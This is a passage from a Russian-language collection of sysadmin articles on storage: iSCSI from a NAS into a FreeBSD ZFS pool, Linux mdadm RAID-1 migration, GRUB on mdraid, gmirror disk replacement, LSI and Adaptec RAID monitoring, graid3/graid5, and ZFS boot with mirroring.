    В качестве iSCSI носителя будем использовать целиком раздел, который ранее
    выделялся для CIFS (/dev/md4) для чего нужно в /etc/init.d/network_servers.sh
    отключить запуск samba.sh и закоментить в /etc/fstab
    
       #/dev/md4        /shares/internal ext3   defaults,noatime     0       2
    
    Узнаем полный объем md4.
    
       [root@BACKUP]# fdisk -l /dev/md4
    
       Disk /dev/md4: 1992.0 GB, 1992096874496 bytes
       2 heads, 4 sectors/track, 486351776 cylinders
       Units = cylinders of 8 * 512 = 4096 bytes
    
    
    fdisk показал размер 1992096874496. Опытным путем выяснилось, что в
    конфигурации iscsi-targe нужно указать на 1 меньше.
    
    Подготовим конфигурацию для iSCSI /etc/iscsi/targets
    
       extent0         /dev/md4        0               1992096874495
       target0         rw              extent0         192.168.0.0/24
    
    а так же скрипт автоматического запуска сервиса iSCSI /etc/init.d/iscsi.sh [9]
    и добавляем его запуск в список сервисов /etc/init.d/network_servers.sh.
    Перезагружаем NAS.
    
    Настройка iSCSI initiator
    
    На стороне сервера FreeBSD (где будем организовывать ZFS пул) настраиваем инициатор.
    
    Утилитой iscontrol выясняем какое имя у нашего target.
    
       server# iscontrol -d targetaddress=nas.ip-or-hostname
       TargetName=iqn.1994-04.org.netbsd.iscsi-target:target0
       TargetAddress=192.168.0.1:3260,1
    
    Так как в теории устройств NAS у нас должно быть много, их как то надо
    идентифицировать. Для целей идентификации MAC адрес подходит как нельзя кстати,
    тем более что он указан на корпусе NAS. Дополнительно можно намекнуть на объем
    устройство, и тогда получим идентификаторы вида
    
       00:90:a9:0d:f3:72-2T
       00:90:a9:3d:e3:7a-512G
    
    Cоздаем /etc/iscsi.conf
    
       #
       # Globals
       #
       port = 3260
       
       #
       00:90:a9:0d:f3:72-2T { # nickname
       targetaddress        = nas.ip-or-hostname
       targetname           = iqn.1994-04.org.netbsd.iscsi-target:target0
       }
    
    Я не нашел штатных настроек FreeBSD для автозапуска инициатора, по этому
    добавил скрипт /usr/local/etc/rc.d/iscsiinitiator
    
       # PROVIDE: iscsiinitiator
       # REQUIRE: DAEMON
       # AFTER: NETWORK
    
       . /etc/rc.subr
    
       name="iscsiinitiator"
       rcvar=`set_rcvar`
    
       start_cmd=iscsi_start
     
       iscsi_start() {
          echo Start iSCSI initiator
          daemon -f iscontrol -c /etc/iscsi.conf -n 00:90:a9:0d:f3:72-2T
       }
    
       # read settings, set default values
       load_rc_config "$name"
       : ${iscsiinitiator="NO"}
    
       run_rc_command "$1"
    
    и соотвесвенно, требуется добавить в /etc/rc.conf строчку
    
       iscsiinitiator_enable="YES"
    
    Итак запускаем приемную часть iSCSI
    
    
       server# /usr/local/etc/rc.d/iscsiinitiator start
       Start iSCSI initiator
    
    В dmesg долны появится строки вида
    
       da0 at iscsi0 bus 0 target 0 lun 0
       da0: <NetBSD NetBSD iSCSI 0> Fixed Direct Access SCSI-3 device
    
    Что означает что весь процесс пройден верно.
    
    
    Подготовка блочного устройства для включенияв общий пул
    
    Размечаем устройсво da0 средствами gpart
    
       server# gpart create -s gpt da0
       server# gpart add -t freebsd-zfs -l 00:90:a9:0d:f3:72-2T da0
    
    Проверяем что наше устройство корректно отобразилось в /dev/gpt
    
       server# ls /dev/gpt
       00:90:a9:0d:f3:72-2T    ... ... ...
    
    Создаем zfs пул
    
       server# zpool create -m /mnt/big-storage storage0 /dev/gpt/00:90:a9:0d:f3:72-2T
    
    И вот, наш пул готов!
    
       server# zpool list
       NAME      SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       storage0 1,80T    72K  1,80T     0%  ONLINE  -
    
    Заключение
    
    Мои поверхностные тесты показали скорость работы данного пула, близкие к
    максимальным возможностям самой среды FastEthernet. Т.е. 5-6Mbyte/sec, что в
    моих обстоятельствах является более чем достаточном. Дополнительно стоит
    отметить, что с увеличением количества устройств в пуле, скорость так же будет
    расти (если конечно серверный порт и коммутатор гигабитные).
    
    P.S.
    
    Данный пример, своей целью имеет демострацию именно последовательности
    действий, а не рекомендуемый вариант использования.
    
    В реальных условиях нужно создавать пул из нескольких NAS устройств и
    объединять их в единый RAID-Z с одиночной или двойной точкой отказа.
    
    Но в любом случае последующая ситуация с отказом NAS устройства, или
    увеличением общего объема, будет заключаться в подготовке NAS для работы по
    iSCSI и добавлением его в ZFS пул, что представляется достаточно тривиальным и
    не зависящим от общего объема пула.
    
    Не маловажным остается тот факт, что все работы проводятся без остановки
    сервисов или тем белее перезагрузок. Дополнительное пространство просто
    появляется и начинает работать на Вас!
    
    [0] http://blogs.sun.com/bonwick/entry/raid_z
    [1] http://mybookworld.wikidot.com/ssh-enable
    [2] http://mybookworld.wikidot.com/optware
    [3] http://support.coraid.com/support/freebsd/
    [4] http://www.open-iscsi.org/
    [5] http://linux-iscsi.sourceforge.net/
    [6] http://iscsitarget.sourceforge.net/
    [7] http://www.freshports.org/net/iscsi-target/
    [8] http://softlynx.ru/pub/WD-MyBook-NAS/iscsi-target
    [9] http://softlynx.ru/pub/WD-MyBook-NAS/iscsi.sh
    
     
    ----* Переход на RAID-1 в Linux (доп. ссылка 1)   Автор: Иванов Аркадий  [комментарии]
     
    Сохранность данных на диске можно обеспечить вторым диском, который работает
    как зеркало для первого. Этот режим называется RAID первого уровня (Redundant
    Array of Inexpensive Disks -  избыточный массив недорогих дисков). По другому - RAID-1.
    
     
    
    Рассмотрим случай, когда есть диск с установленной системой Linux и необходимо
    подключить второй диск и перевести эту пару в работу в режиме зеркала.  Эта
    новая система должна выполнять следующие функции:
    
        * Писать данные одновременно на оба диска
        * При отказе одного диска грузиться как ни в чём ни бывало со второго.
    
    В Linux для этого есть драйвер MD, его поддержка загрузчиками LILO и GRUB и
    программа mdadm, с помощью которой мы управляемся с RAID-ами.
    
     
    
    Итак, дан компьютер с установленной на раздел /dev/sda2 работающей системой
    Linux. Раздел /dev/sda1 - это swap. Также у нас в наличии подключенный второй
    диск /dev/sdb с такой же геометрией. Он пока пуст. Замечу, что развлекался я в
    Alt Linux Server 4.0.
    
    Шаги по созданию raid-1:
    
     
    
    Убеждаемся, что ядро поддерживает raid1. Этот модуль может быть статическим в
    ядре или в виде подгружаемого модуля. Если это не так, вытаскивайте ядро с
    kernel.org, конфигурите его, собирайте его, устанавливайте и перезапускайтесь с него.
    
    Загружаем модуль, если они не статический:
    
          modprobe raid1
           
    Устанавливаем пакет MDADM.
           
    Запускаем fdisk и делаем тип раздела /dev/sda2 как "Linux raid autodetect"
           
    Перезагружаемся.
           
    Делаем копию таблицы разделов первого диска на второй:
    
          sfdisk -d /dev/sda | sfdisk /dev/sdb
    
    Создаём raid-1 массив только из одного раздела /dev/sdb2, поскольку /dev/sda2
    сейчас пока занят - с него мы загрузились.
    
          mdadm --create /dev/md0 --level=1 --raid-disk=2 missing /dev/sdb2
    
    Параметр "missing" указывает программе, что у нас пока неполноценный массив и
    одного диска пока не хватает.
    
    Примечание: состояние raid-массивов можно всегда посмотреть в /proc/mdstat.
           
    Теперь создаём конфиг для mdadm. Файл называется /etc/mdadm.conf. Можно сделать это вручную:
           
          MAILADDR 77777XX777@sms.primtel.ru
          PROGRAM /sbin/mdadm-syslog-events
          DEVICE partitions
          ARRAY /dev/md0 level=raid1 num-devices=2 devices=/dev/sdb2,/dev/sda2 auto=md
    
    В этом файле указали адрес, куда слать сообщения о событиях в RAID и главное -
    из чего состоит наш RAID.
    
    Примечание: Запись об устройствах в этом файле можно сделать автоматически:
    
          mdadm --examine --scan  >>/etc/mdadm.conf
    
    Делаем файловую систему на /dev/md0 (мы уже имеем raid-1 !):
    
          mkfs -t ext3 /dev/md0
           
    Монтируем свежесозданный раздел:
    
          mkdir /mnt/md0
          mount /dev/md0 /mnt/md0
    
    
    Копируем систему с sda (предварительно стоит остановить все базы данных и
    прочие полезные программы):
    
          cp   -dpRx   /   /mnt/md0
    
    
    Обязательно следует скопировать ручками или создать inode для /dev/null и
    /dev/console в копии системы. В версиях ядер с udev без этого не обойтись.
           
    Грузимся с Live DVD с Linux-ом в режиме восстановления системы (у меня DVD Alt Linux это умеет).
    
          mkdir /mnt/1
          mount /dev/md0 /mnt/1
          mount /dev /mnt/1/dev -o bind
          mount /proc /mnt/1/proc -o bind
          mount /sys /mnt/1/sys -o bind
          chroot /mnt/1
    
                 
    Если вы всё сделали правильно, значит вы работает уже на своей системе на диске RAID-массива.
           
    Добавляем в RAID-1 первый диск:
     
          mdadm  -a  /dev/md0  /dev/sda2
           
    Это длительная процедура. В этот момент началась синхронизация дисков. Её
    прерывать не следует. Просмотреть, что происходит можно так:
          watch -n 5 cat /proc/mdstat
    
    Раз в 5 секунд будет выводиться инфо о состоянии нашего RAID-а.
           
    После синхронизации, если вы добавляли автоматические записи в /etc/mdadm.conf,
    их стоит стереть и снова:
    
          mdadm --examine --scan  >>/etc/mdadm.conf
    
    Если вы делали это вручную, то ничего делать не надо, поскольку у вас там
    нормальная запись об устройствах, а не их UUID-ы.
           
    Генерим новый RAM-диск:
    
          cd   /boot
          rm   initrd-2.6.28.img
          mkinitrd     initrd-2.6.28.img     2.6.28
    
    Надеюсь, ваше ядро поддерживает модуль raid1. Если это не так, то ничего не
    получится. (См. самый первый пункт).
    
    Обратите внимание, чтобы устройства жёстких дисков в Live CD были такими же,
    что и в вашей системе. Т.е. если в вашей системе это sda, то и при загрузке с
    LiveCD они должны быть sda, а не hda. Иначе в initrd могут не попасть нужные
    модули. Если это не так, выберите другой LiveCD или ручками в командной строке
    добавляйте в initrd не знаю уж какие модули.
           
    Правим /etc/lilo.conf, отмечу важные строки и конфиг для моего ядра:
    
          default="2628"
          boot="/dev/md0"
          raid-extra-boot=mbr-only
          disk=/dev/sda bios=0x80
          disk=/dev/sdb bios=0x81
    
          image="/boot/vmlinuz-2.6.28"
                        label="2628"
                        initrd="/boot/initrd-2.6.28.img"
                        root="/dev/md0"
                        read-only
           
    Затем выполняем "lilo". Предупреждение о том, что загрузочная запись будет в
    том числе и не на первом диске можно проигнорировать.
           
    Правим /etc/fstab. Вместо корня на /dev/sda2 указываем /dev/md0:
    
          /dev/md0  /  ext3   defaults        1       1
           
    Перезагружаемся и работаем с RAID-1.
    
    
    
    ПРИМЕЧАНИЕ: Если у вас GRUB, то:
    В /boot/grub/grub.conf должно быть:
    
                timeout 10 # Грузимся по умолчанию с sda, если не доступен, грузимся с sdb
                default 0
                fallback 1
    
                # Загрузка с первого диска
                title  2628 (hd0,0)
                kernel (hd0,0)/vmlinuz-2.6.28 root=/dev/md0
    
                # Загрузка со второго диска, если с первого не получилось
                title  2628 (hd1,0)
                kernel (hd1,0)/vmlinuz-2.6.28 root=/dev/md0
    
    Запускаем grub и делаем загрузочные записи на первом и втором диске
    
                # grub
                grub> root (hd0,0)
                grub> setup (hd0) 
                grub> root (hd1,0)
                grub> setup (hd1) 
                grub> quit
    
    ДОПОЛНЕНИЕ: Если у вас нет спасательного DVD или Live-DVD или ещё какие
    проблемы (у меня случилось так, что спасательный режим DVD с Alt Linux 5.0 ни в
    какую не определял устройство DVD, а Live DVD не хотел иметь ничего общего с
    /dev/md0), то: после копирования системы с /dev/sda2 на /dev/md0 можно сделать так:
    
    1. Сделать новую initrd для /dev/sda и скопировать на /dev/md0:
    
            cd /boot
            mkinitrd initrd-2.6.28.img 2.6.28
            cp initrd-2.6.28.img  /mnt/md0/boot
    
    2. Смонтировать /dev, /proc, /sys в /mnt/md0 (См. выше)
    
    3. Поменять корень системы:
    
            chroot /mnt/md0
    
    4. В lilo.conf указать загрузку не с /dev/md0, а /dev/sda:
    
             boot="/dev/sda"
    
    5. В lilo.conf не вставлять строку:
    
             raid-extra-boot=mbr-only
    
    6. Перезагрузиться. Система загрузится с /dev/md0.
    
    7. Сделать и дождаться результата:
    
            mdadm -a /dev/md0 /dev/sda2
    
    8. Исправить lilo.conf для полноценного RAID:
    
             boot="/dev/md0"
             raid-extra-boot=mbr-only
    
    9. lilo и потом перезагрузка.
           
    
     
    ----* Неинтерактивная установка RedHat систем на mdraid: решение проблемы с GRUB (доп. ссылка 1)   Автор: sHaggY_caT  [комментарии]
     
    Неинтерактивная установка RedHat систем на mdraid: решение проблемы с GRUB.
    Конструкция вида
    
       bootloader --location=mbr --driveorder=md0
    
    в Anaconda кикстарте не решает проблему: grub все равно поставится на первый(в
    нумерации BIOS) диск. То есть загрузчик попадет и на второй, а вот stage2, уже нет.
    
    При вылете диска первого диска, с данными не произойдет ничего плохого, но
    система загрузиться не может, а возня в "боевых" условиях с live-cd, особенно
    через VirtualMedia может быть чревата большими-большими проблемами.
    
    Добавлю, что с Lilo такой проблемы нет, но Lilo уже прошлый век.
    
    Собственно, решением проблемы является режим grub-batch (командный режим работы
    grub). В секцию кикстарта %post можно положить вот такой код:
    
       #re-Install grub in mdraid
       grub --batch <<EOF
       device (hd0) /dev/sda
       device (hd1) /dev/sdb
       root (hd0,0)
       setup (hd0)
       root (hd1,0)
       setup (hd1)
       quit
       EOF
    
    Для установки grub на два диска.
     
    В centos wiki такой статьи (именно для неинтерактивной установки) нет, как и
    нет в RedHat документации.
    
    Пожалуйста, после замены вылетевшего диска, не забудьте прописать grub на новом диске вручную!
    
    По ссылке находится инструкция в wiki CentOS для решения данной проблемы при
    интерактивной инсталляции:
    http://wiki.centos.org/HowTos/SoftwareRAIDonCentOS5
    
     
    ----* Горячая замена диска в RAID gmirror   Автор: Андрей Савченко  [комментарии]
     
    Цель: Необходимо создать RAID - массив с возможностью горячей замены. После
    длительных и неудачных игр с попыткой создать массив RAID10 или RAID1 через
    ICH7R, было принято решение попробовать программный RAID1. Попытка оказалась
    удачной. Но пришлось наступить на несколько граблей. Что бы облегчить этот путь
    другим, знакомлю сообщество с проверенным решением.
    
    Сразу хочу сказать, что статья поставляется как есть. Все что вы делаете, вы
    делаете на свой страх и риск. Я бы не рекомендовал все проверять на боевом сервере.
    
    Мои эксперименты проводились на: 
    FreeBSD  7.2-RELEASE #0:GENERIC  i386
    Чипсет ICH7R
    Диски WDC WD5001AALS
    
    Требования:
    BIOS
    1.      SATA controller mode:   Enhanced
    2.      SATA AHCI:              Enabled
    или что то подобное
    
    В противном случае подключенный диск не инициализируется системой, во всяком
    случае, у меня не получилось. Подозреваю, что диск не инициализируется на
    уровне BIOS. Возможно, это частный случай.
    При использовании режима AHCI, диск инициализируется автоматом. Нет
    необходимости делать rescan или reinit и тому подобное. В моем случае все это
    не помогло, пока не выставил режим AHCI.
    
    Находим и отключаем убитый диск:
    Нам в помощь 
       atacontrol list
       atacontrol cap device
       gmirror info
       gmirror status
    
    Внимание номера каналов и разъемов SATA никак не совпадают, в том числе их порядок.
    
    Например:
    
       # gmirror status
    
       Name                 Status                  Components
       mirror/gm0              COMPLETE                ad4
                                                       ad8
       mirror/gm1              DEGRADED                ad6
    
    Видно что массив gm0 находится в нормальном состоянии (COMPLETE), а массив gm1
    находятся в аварийном режиме (DEGRADED).
    
    Так же видно в RAID gm1  один диск отсутствует!!! Его нужно найти и заменить.
    Предположим наихудший вариант - диск умер, и выяснить его серийный номер не
    представляется возможным.
    Тогда нужно действовать методом исключения.
    
    Выполняем команду "atacontrol cap device" для каждого видимого диска. Все диски
    можно увидеть с помощью "atacontrol list".
    
       # atacontrol list
    
       ATA channel 0:
          Master:      no device present
          Slave:  acd0 <LG CD-ROM CRD-8522B/2.01> ATA/ATAPI revision 0
       ATA channel 1:
          Master:      no device present
          Slave:       no device present
       ATA channel 2:
          Master:  ad4 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
       ATA channel 3:
          Master:  ad6 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
       ATA channel 4:
          Master:  ad8 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
       ATA channel 5:
          Master:     no device present
          Slave:       no device present
      
    В нашем случае для ad4, ad8, ad6.
    
       # atacontrol cap ad8
    
    В выводе этой команды мы увидим строку типа
    
       serial number         WD-WCASY6287255
    
    Таким образом мы получили номера всех работающих дисков.
    
    Дело за малым, найти их физически. Если диски не были помечены при установке,
    то тут проблема. Серийный номер диска указан на этикетке, иногда последние
    цифры номера указаны в торце, но в дальнем. Если винты установлены плотно,
    тогда лучше выключить машину и переписать номера винтов и пометить их удобным
    для вас способом. Достаточно легко можно посмотреть номера, если диски
    расположены перпендикулярно корпусу.
    
    Как вывод, нужно метить винчестеры  в момент установки и  брать соответствующий
    корпус для удобной замены.
    
    Путем исключения находим неработающий диск. Отключаем его следующим образом.
       1. Отключаем DATA кабель.
       2. Отключаем кабель питания.
    
    Ставим новый диск и подключаем его
    
       1. Подключаем кабель питания.
       2. Подключаем DATA кабель.
    
    
    "atacontrol list"  должен показать новое устройство ad#. Например: ad10
    
       # atacontrol list
       ATA channel 0:
          Master:      no device present
          Slave:  acd0 <LG CD-ROM CRD-8522B/2.01> ATA/ATAPI revision 0
       ATA channel 1:
          Master:      no device present
          Slave:       no device present
       ATA channel 2:
          Master:  ad4 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
       ATA channel 3:
          Master:  ad6 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
       ATA channel 4:
          Master:  ad8 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
       ATA channel 5:
          Master: ad10 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
    
    Добавляем новый диск в  RAID-масив.
    
    Во первых нужно  заставить RAID "забыть" об отключенном диске
    
       # gmirror forget gm1
    
    Теперь команда "gmirror status gm1" покажет нам что RAID gm1 в полном порядке,
    правда состоит из одного диска.
    
       # gmirror status gm1
    
       Name           Status                  Components
       mirror/gm1  COMPLETE            ad6
    
    Можно приступить к добавлению нового подключенного винчестера.
    
       # gmirror insert gm1 /dev/ad10
    
    Эта команда автоматически начинает перестроение массива.
    
    Теперь gmirror status покажет примерно такое:
    
       # gmirror status gm1
       Name            Status                  Components
       mirror/gm1  DEGRADED            ad6
                                       ad10 (1%)
    
    Наберитесь терпения эта процедура займет некоторое время. Для дисков 500G около
    двух часов. Естественно в это время все службы продолжают работать.
    
    По окончании процесса синхронизации порлучим:
    
       # gmirror status gm1
    
       Name           Status                  Components
       mirror/gm1  COMPLETE            ad6
                                       ad10
    
    Если интересно  то с помощью  команд gstat или systat -io можно посмотреть
    активность процесса синхронизации.
    
     
    ----* Определение во FreeBSD состояния RAID-массива на базе SAS контроллера LSI (доп. ссылка 1)   Автор: Панфилов Алексей  [комментарии]
     
    Имеем сервер c RAID-контроллерами LSI SAS 1064E (SAS 3000 series) и  RAID-1,
    который FreeBSD видит как устройство da0.
    
    После физического удаления и последующего возвращения на место  одного из
    дисков в syslog отображается соответствующее уведомление:
    
       Oct 21 22:16:28 bill kernel: mpt0:vol0(mpt0:0:0): RAID-1 - Degraded
       Oct 21 22:16:28 bill kernel: mpt0:vol0(mpt0:0:0): Status ( Enabled Re-Syncing )
    
    Для просмотра типа RAID можно использовать "camcontrol periphlist da0", но при
    этом данные о текущем состоянии RAID не отображаются.
    Нашлось два решения:
    
    1. Анализировать состояние переменной 
       sysctl dev.mpt.0.nonoptimal_volumes
    
    если значение не равно нулю, то есть проблемы с состоянием RAID.
    
    2. Собрать из исходных текстов mptutil (в портах его нет).
    
    Пробуем получить состояние массива:
    
       mptutil show volumes
    
       mpt0 Volumes:
       Id     Size    Level   Stripe  State  Write-Cache  Name
       da0 (  136G) RAID-1          OPTIMAL   Disabled
    
     
    ----* Мониторинг состояния контроллера Adaptec (доп. ссылка 1)   Автор: ExpE  [комментарии]
     
    При хранении информации на RAID массиве создается иллюзия, что данные надежно
    защищены от потери в случае
    выхода из строя одного из носителей. Но пока не проводится регулярный
    мониторинг состояния логического раздела,
    можно просто своевременно не узнать об изменении состояния логического тома.
    Ниже будет описан мониторинг состояния контроллера Adaptec.
    
    Для мониторинга контроллеров Adaptec можно использовать утилиту arcconf,
    входящую в состав Storage Manager'a.
    Загрузить его можно по ссылке http://www.adaptec.com/en-US/downloads/
    После установки, в случае Linux, rpm пакета появится директория /usr/StorMan/.
    
    Команда для получения полной информации о контроллере:
    
       # /usr/StorMan/arcconf getconfig 1
    
    если появится ошибка вида
    
       /usr/StorMan/arcconf: error while loading shared libraries:
        libstdc++.so.5: cannot open shared object file: No such file or directory
    
    нужно выполнить команду
    
       # export LD_PRELOAD="/usr/StorMan/libstdc++.so.5"
    
    Самой важной информацией является информация о состоянии логических дисков
    
       # /usr/StorMan/arcconf getconfig 1 ld
    
    Результат выполнения команды:
    
       Controllers found: 1
       Logical device information
       Logical device number 0
       Logical device name :  tst
       RAID level : 5
       Status of logical device : Optimal
       Size : 14300150 MB
       ...
    
    Ключевой информацией является строка
    
       Status of logical device : Optimal
    
    Команда  для получения информации о состоянии физических дисков
    
       # /usr/StorMan/arcconf getconfig 1 ld
    
    Дополнительную информацию о состоянии контроллера можно получить в лог файлах
    
       # cat /usr/StorMan/RaidEvtA.log
    
    Ниже я приведу скрипт, который проверяет состояние логического диска и, если он
    не в состоянии Optimal, отправляет e-mail
    
    /usr/scripts/checkraid.pl
    
       #!/usr/bin/perl
       use Net::SMTP;
       $opt=`/usr/StorMan/arcconf getconfig 1 ld | grep "Status of logical device" | grep "Optimal" -c`;
       open (FH, ">> /var/log/raidcheck.log");
       if ($opt==0) {
          print (FH scalar(localtime));
          print (FH " Problem with RAID!\n");
          $date=`exec /bin/date '+%F %T'`;
          chomp($date);
          $smtp = Net::SMTP->new('mail.server-name.ru');
          $smtp->mail(' expe@server-name.ru ');
          $smtp->to('expe\@server-name.ru');
          $smtp->data();
          $smtp->datasend("To:expe\@server-name.ru \n");
          $smtp->datasend("Subject: raid problem");
          $smtp->datasend("\n");
          $smtp->datasend("\n");
          $smtp->datasend("[$date]Problem with raid on tst!");
          $smtp->datasend("\n");
          $smtp->dataend();
          $smtp->quit;
          print "Problem with raid!\n";
       } else {
          print (FH scalar(localtime));
          print (FH " Status of raid is optimal\n");
          print "Status of raid is optimal!\n";
       };
       close(FH);
    
     
    ----* Настройка RAID3 и RAID5 во FreeBSD   [комментарии]
     
    В отличии от RAID5 в RAID3 для хранения контрольных сумм выделяется отдельный
    диск, при этом данные
    распределяются по дискам не на уровне блоков, а на уровне байтов (каждый запрос
    приводит к обращению ко всем дискам).
    RAID3 оптимален при работе с данными большого объема и преобладании линейных
    запросов. При работе с большим числом
    мелких файлов, производительность падает.
    
    Имеем: 5 500GB SATA дисков /dev/ad1 ... /dev/ad5, 1 для контрольных сумм и 4 для хранения данных. 
    В итоге получим массив размером 2 Тб.
    
    Загружаем модуль ядра  с реализацией geom класса graid3:
    
       graid3 load
    
    Создаем массив (вместо rd3 можно указать любое желаемое имя):
    
       graid3 label -r rd3 ad1 ad2 ad3 ad4 ad5
    
    Опция "-r" включает задействование для операций чтения диска с контрольными суммами, 
    подобное позволяет значительно увеличить скорость параллельного случайного
    доступа к файлам, но уменьшает производительность
    последовательного чтения.
    
    
    
    Проверяем статус:
    
       graid3 status
    
       Name        Status  Components
       raid3/rd3   COMPLETE  ad1
                             ad2
                             ad3
                             ad4
                             ad5
    
    Смотрим список дисков:
    
       graid3 list
    
    Форматируем (-U - включение Soft Updates):
    
       newfs -U /dev/raid3/rd3
    
    Монтируем:
    
       mkdir /bigstore
       mount /dev/raid3/rd3 /bigstore
    
    Автоматизируем подключение при загрузке, в /boot/loader.conf добавляем 
    
       geom_raid3_load="YES"
    
    В /etc/fstab прописываем монтирование раздела:
    
       /dev/raid3/rd3  /bigstore  ufs  rw,noatime 1  1
    
    В случае повреждения диска, достаточно его заменить без выполнения каких-либо
    команд - подключение нового диска и
    перестроение массива будут выполнены автоматически, мета данные о структуре
    массива сохраняются на каждом диске.\
    
    
    Для настройки RAID5 необходимо использовать одну из неофициальный реализаций GEOM классов:
     http://wgboome.homepage.t-online.de/geom_raid5-eff.tbz
     http://wgboome.homepage.t-online.de/geom_raid5-pp.tbz
    
    Устанавливается, примерно так:
    
       cd /usr/src
       fetch http://wgboome.homepage.t-online.de/geom_raid5-eff.tbz
       tar xvfz geom_raid5-eff.tbz
       cd /usr/src/sys/modules/geom/geom_raid5 && make clean depend all install
       mkdir -p /usr/include/geom/raid5
       cp -p /usr/src/sys/geom/raid5/g_raid5.h /usr/include/geom/raid5/g_raid5.h
       cd /usr/src/sbin/geom/class/raid5 && make depend && make && make install
     
    или загрузить и выполнить готовый установочный скрипт http://www.fluffles.net/files/installgraid5
    
    С точки зрения настройки graid5, работает аналогично graid3, например, создание массива:
    
       graid5 label rd5 ad1 ad2 ad3
    
    Для расширения размера массива через добавление нового диска можно использовать 
    скрипт http://www.fluffles.net/files/graid5-expand :
    
       ./graid5-expand rd5 ad4
        growfs /dev/raid5/rd52
        fsck -t ufs /dev/raid5/rd52
    
    далее работаем уже с /dev/raid5/rd52 (имя нового раздела будет выведено во время запуска скрипта).
    
    Прогресс развития graid5 можно наблюдать в форуме http://www.fluffles.net/forum/storage
    Оценку производительности и советы по тюнингу можно найти на страницах:
     http://blog.lexa.ru/2008/12/07/uprazhnenija_s_brevnom_freebsd_raid5_performance.html
     http://blog.lexa.ru/2008/12/09/uprazhnenija_s_brevnom___2_graid5_gjournal.html
    
     
    ----* Настройка загрузки ZFS с GPT-раздела во FreeBSD и создание зеркала (доп. ссылка 1)   Автор: unknown  [комментарии]
     
    Во FreeBSD 8-CURRENT недавно появилась поддержка загрузки ядра с ZFS,
    а сама файловая система была обновлена до версии 13. Процесс
    развертывания ZFS с возможностью загрузки с нее очень простой:
    
    1. Собираете world с LOADER_ZFS_SUPPORT и kernel с поддержкой gpart(8):
    
    	# добавляем в make.conf(5) опцию поддержки ZFS для loader(8)
    	echo LOADER_ZFS_SUPPORT=yes >>/etc/make.conf
    
    	# собираем world... нет, только loader(8) и загрузочный код
    	cd /usr/src/sys/boot
    	make cleandir; make cleandir
    	make obj depend all install
    
    	# добавляем поддержку таблиц разделов для gpart(8)
    	cat MYKERNEL
    	include		GENERIC
    	nooption	GEOM_BSD
    	nooption	GEOM_MBR
    	options		GEOM_PART_BSD
    	options		GEOM_PART_MBR
    	options		GEOM_PART_GPT
    
    	# собираем kernel
    	make kernel KERNCONF=MYKERNEL -C/usr/src
    
    2. Размечаете первый диск командой gpart(8) на несколько разделов, из
       которых обязательны только freebsd-boot и freebsd-zfs:
    
    	# создаем таблицу разделов типа GPT на диске ad0
    	gpart create -s GPT ad0
    
    	# добавляем загрузочный код, позволяющий загружаться с GPT разделов
    	gpart bootcode -b /boot/pmbr ad0
    
    	# создаем раздел для кода загрузки loader(8)'а с раздела GPT
    	gpart add -b 34 -s 256 -t freebsd-boot ad0
    
    	# записываем загрузочный код на него
    	gpart bootcode -p /boot/gptzfsboot -i 1 ad0
    
    	# создаем swap раздел для возможности использовать его
    	# в качестве dumpdev, т.к. делать kernel dump'ы на zvol'ах
    	# невозможно
    	gpart add -b 290 -s 2097152 -t freebsd-swap ad0
    
    	# создаем основной раздел для ZFS
    	gpart add -b 2097442 -s 232344173 -t freebsd-zfs ad0
    
    	# смотрим на результат
    	gpart show
    	=>       34  234441581  ad0  GPT  (112G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    2097152    2  freebsd-swap  (1.0G)
    	    2097442  232344173    3  freebsd-zfs  (111G)
    
    3. Создаете pool для ZFS на первом разделе и загружаетесь с него:
    
    	# создаем pool с именем `h', выключенном поддержкой
    	# времени последнего доступа и включенным сжатием данных
    	zpool create -O atime=off -O compression=on h ad0p3
    
    	# создаем необходимые dataset'ы
    	zfs create -p -o setuid=off -o utf8only=on h/usr/home
    	zfs create -o sharenfs='-alldirs -webnfs' h/usr/ports
    	zfs create -o atime=on h/var
    	zfs create -o readonly=on h/var/empty
    
    	# населяем pool[1]
    	rsync -aHS --del --fileflags --filter 'merge migrate.rsync' / /h/
    
    	# перезагружаемся
    	shutdown -r now
    
    	# загружаемся *не* с ZFS в single-user режим (loader prompt)
    	boot -s
    
    	# меняем точку монтирования pool'а на корень
    	/etc/rc.d/hostid restart
    	/sbin/zfs set mountpoint=/ h
    
    	# перезагружаемся
    	/sbin/reboot
    
    	# загружаемся с ZFS (loader prompt)
    	load zfs
    	set vfs.root.mountfrom=zfs:h
    	boot
    
    	# добавляем в loader.conf(5) поддержку zfs и точку
            # монтирования / (корня)
    	echo zfs_load=YES >>/boot/loader.conf
    	echo vfs.root.mountfrom=\"zfs:h\" >>/boot/loader.conf
    
    4. Повторяете шаг 1 для второго диска и подсоединяете его к "зеркалу":
    
    	# Размечаем диск с учетом того, что количество блоков
            # у freebsd-zfs должно быть такое же, как и на первом диске.
    	# В даннном примере - 484200428.
    	=>       34  488394988  ad0  GPT  (233G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    4194304    2  freebsd-swap  (2.0G)
    	    4194594  484200428    3  freebsd-zfs  (231G)
    
    	=>       34  488397101  ad1  GPT  (233G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    4196417    2  freebsd-swap  (2.0G)
    	    4196707  484200428    3  freebsd-zfs  (231G)
    
    	# подсоединяете его к pool'у как элемент зеркала
    	# (не перепутайте с *add*)
    	zpool attach h ad0p3 ad1p3
    
    	# смотрим на результат
    	zpool status
    	  pool: h
    	 state: ONLINE
    	 scrub: none requested
    	config:
    
    		NAME        STATE     READ WRITE CKSUM
    		h           ONLINE       0     0     0
    		  mirror    ONLINE       0     0     0
    		    ad0p3   ONLINE       0     0     0
    		    ad1p3   ONLINE       0     0     0
    
    	errors: No known data errors
    
    Примечание: Тест проводился на 14 версии и с использованием
    вот этого патча - http://pastebin.com/f3d2089f3
    
    [1] пример migrate.rsync:
    	exclude .ccache
    	exclude /h
    	exclude /dev
    	exclude /nfs
